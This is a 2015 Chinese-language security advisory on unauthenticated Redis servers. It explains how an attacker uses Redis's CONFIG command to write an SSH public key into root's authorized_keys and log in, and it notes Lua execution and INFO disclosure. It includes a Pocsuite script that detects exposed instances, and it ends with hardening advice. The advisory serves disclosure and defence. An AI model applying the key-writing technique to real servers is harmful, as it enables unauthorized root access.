Redis 未授權訪問配合 SSH key 文件利用分析

Date: 2015-11-11

Redis是一個開源的使用ANSI C語言編寫、支持網絡、可基於內存亦可持久化的日誌型、Key-Value數據庫,並提供多種語言的API。

Redis 未授權訪問的問題是一直存在的問題,知道創宇安全研究團隊歷史上也做過相關的應急,今日,又出現 Redis 未授權訪問配合 SSH key 文件被利用的情況,導致一大批 Redis 服務器被黑,今天我們來簡要的分析下。

一、漏洞概述

Redis 默認情況下,會綁定在 0.0.0.0:6379,這樣將會將 Redis 服務暴露到公網上,如果在沒有開啓認證的情況下,可以導致任意用戶在可以訪問目標服務器的情況下未授權訪問 Redis 以及讀取 Redis 的數據。攻擊者在未授權訪問 Redis 的情況下可以利用 Redis 的相關方法,可以成功在 Redis 服務器上寫入公鑰,進而可以使用對應私鑰直接登錄目標服務器。

1、漏洞描述

Redis 安全模型的觀念是: “請不要將 Redis 暴露在公開網絡中, 因爲讓不受信任的客戶接觸到 Redis 是非常危險的” 。

Redis 作者之所以放棄解決未授權訪問導致的不安全性是因爲, 99.99% 使用 Redis 的場景都是在沙盒化的環境中, 爲了0.01%的可能性增加安全規則的同時也增加了複雜性, 雖然這個問題的並不是不能解決的, 但是這在他的設計哲學中仍是不划算的。

因爲其他受信任用戶需要使用 Redis 或者因爲運維人員的疏忽等原因,部分 Redis 綁定在 0.0.0.0:6379,並且沒有開啓認證(這是Redis 的默認配置),如果沒有進行採用相關的策略,比如添加防火牆規則避免其他非信任來源 ip 訪問等,將會導致 Redis 服務直接暴露在公網上,導致其他用戶可以直接在非授權情況下直接訪問Redis服務並進行相關操作。

利用 Redis 自身的提供的 config 命令,可以進行寫文件操作,攻擊者可以成功將自己的公鑰寫入目標服務器的 /root/.ssh 文件夾的authotrized_keys 文件中,進而可以直接使用對應的私鑰登錄目標服務器。

2、漏洞影響

Redis 暴露在公網(即綁定在0.0.0.0:6379,目標IP公網可訪問),並且沒有開啓相關認證和添加相關安全策略情況下可受影響而導致被利用。

通過ZoomEye 的搜索結果顯示,有97707在公網可以直接訪問的Redis服務。

QQ20151111-0@2x

根據 ZoomEye 的探測,全球無驗證可直接利用Redis 分佈情況如下:

1

全球無驗證可直接利用Redis TOP 10國家與地區:

2

3、漏洞分析與利用

首先在本地生產公私鑰文件:

ssh-keygen

然後將公鑰寫入 foo.txt 文件

再連接 Redis 寫入文件

redis_ssh

這樣就可以成功的將自己的公鑰寫入 /root/.ssh 文件夾的 authotrized_keys 文件裏,然後攻擊者直接執行:

即可遠程利用自己的私鑰登錄該服務器。

當然,寫入的目錄不限於 /root/.ssh 下的authorized_keys,也可以寫入用戶目錄,不過 Redis 很多以 root 權限運行,所以寫入 root 目錄下,可以跳過猜用戶的步驟。

4、Redis 未授權的其他危害與利用

a)數據庫數據泄露

Redis 作爲數據庫,保存着各種各樣的數據,如果存在未授權訪問的情況,將會導致數據的泄露,其中包含保存的用戶信息等。

redis_user

b)代碼執行

Redis可以嵌套Lua腳本的特性將會導致代碼執行, 危害同其他服務器端的代碼執行, 樣例如下        一旦攻擊者能夠在服務器端執行任意代碼, 攻擊方式將會變得多且複雜, 這是非常危險的.

redis_lua

通過Lua代碼攻擊者可以調用 redis.sha1hex() 函數,惡意利用 Redis 服務器進行 SHA-1 的破解。

c)敏感信息泄露

通過 Redis 的 INFO 命令, 可以查看服務器相關的參數和敏感信息, 爲攻擊者的後續滲透做鋪墊。

redis_info

可以看到泄露了很多 Redis 服務器的信息, 有當前 Redis 版本, 內存運行狀態, 服務端個數等等敏感信息。

5、漏洞驗證

可以使用Pocsuite(http://github.com/knownsec/pocsuite)執行以下的代碼可以用於測試目標地址是否存在未授權的Redis服務。

# -*- coding:utf-8 -*- import socket import urlparse from pocsuite.poc import POCBase, Output from pocsuite.utils import register class TestPOC(POCBase): vulID = ‘89339’ version = ‘1’ author = [‘Anonymous’] vulDate = ‘2015-10-26’ createDate = ‘2015-10-26’ updateDate = ‘2015-10-26’ references = [‘http://sebug.net/vuldb/ssvid-89339’] name = ‘Redis 未授權訪問 PoC’ appPowerLink = ‘http://redis.io/’ appName = ‘Redis’ appVersion = ‘All’ vulType = ‘Unauthorized access’ desc = ”’ redis 默認不需要密碼即可訪問,黑客直接訪問即可獲取數據庫中所有信息,造成嚴重的信息泄露。 ”’ samples = [”] def _verify(self): result = {} payload = ‘\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a’ s = socket.socket() socket.setdefaulttimeout(10) try: host = urlparse.urlparse(self.url).netloc port = 6379 s.connect((host, port)) s.send(payload) recvdata = s.recv(1024) if recvdata and ‘redis_version’ in recvdata: result[‘VerifyInfo’] = {} result[‘VerifyInfo’][‘URL’] = self.url result[‘VerifyInfo’][‘Port’] = port except: pass s.close() return self.parse_attack(result) def _attack(self): return self._verify() def parse_attack(self, result): output = Output(self) if result: output.success(result) else: output.fail(‘Internet nothing returned’) return output register(TestPOC)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/usr/bin/env python
# -*- coding:utf-8 -*-
 
import socket
import urlparse
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
 
 
class TestPOC(POCBase):
    vulID = ‘89339’
    version = ‘1’
    author = [‘Anonymous’]
    vulDate = ‘2015-10-26’
    createDate = ‘2015-10-26’
    updateDate = ‘2015-10-26’
    references = [‘http://sebug.net/vuldb/ssvid-89339’]
    name = ‘Redis 未授權訪問 PoC’
    appPowerLink = ‘http://redis.io/’
    appName = ‘Redis’
    appVersion = ‘All’
    vulType = ‘Unauthorized access’
    desc = ”’
        redis 默認不需要密碼即可訪問,黑客直接訪問即可獲取數據庫中所有信息,造成嚴重的信息泄露。
    ”’
    samples = []
 
    def _verify(self):
        result = {}
        payload = ‘\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a’
        s = socket.socket()
        socket.setdefaulttimeout(10)
        try:
            host = urlparse.urlparse(self.url).netloc
            port = 6379
            s.connect((host, port))
            s.send(payload)
            recvdata = s.recv(1024)
            if recvdata and ‘redis_version’ in recvdata:
                result[‘VerifyInfo’] = {}
                result[‘VerifyInfo’][‘URL’] = self.url
                result[‘VerifyInfo’][‘Port’] = port
        except:
            pass
        s.close()
        return self.parse_attack(result)
 
    def _attack(self):
        return self._verify()
 
    def parse_attack(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail(‘Internet nothing returned’)
        return output
 
register(TestPOC)

二、安全建議

  1. 配置bind選項,限定可以連接Redis服務器的IP,修改 Redis 的默認端口6379
  2. 配置認證,也就是AUTH,設置密碼,密碼會以明文方式保存在Redis配置文件中
  3. 配置rename-command 配置項 “RENAME_CONFIG”,這樣即使存在未授權訪問,也能夠給攻擊者使用config 指令加大難度
  4. 好消息是Redis作者表示將會開發”real user”,區分普通用戶和admin權限,普通用戶將會被禁止運行某些命令,如config

三、參考鏈接

  1. http://www.sebug.net/vuldb/ssvid-89339
  2. http://antirez.com/news/96
  3. http://www.secpulse.com/archives/5366.html
  4. http://www.sebug.net/vuldb/ssvid-89715
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章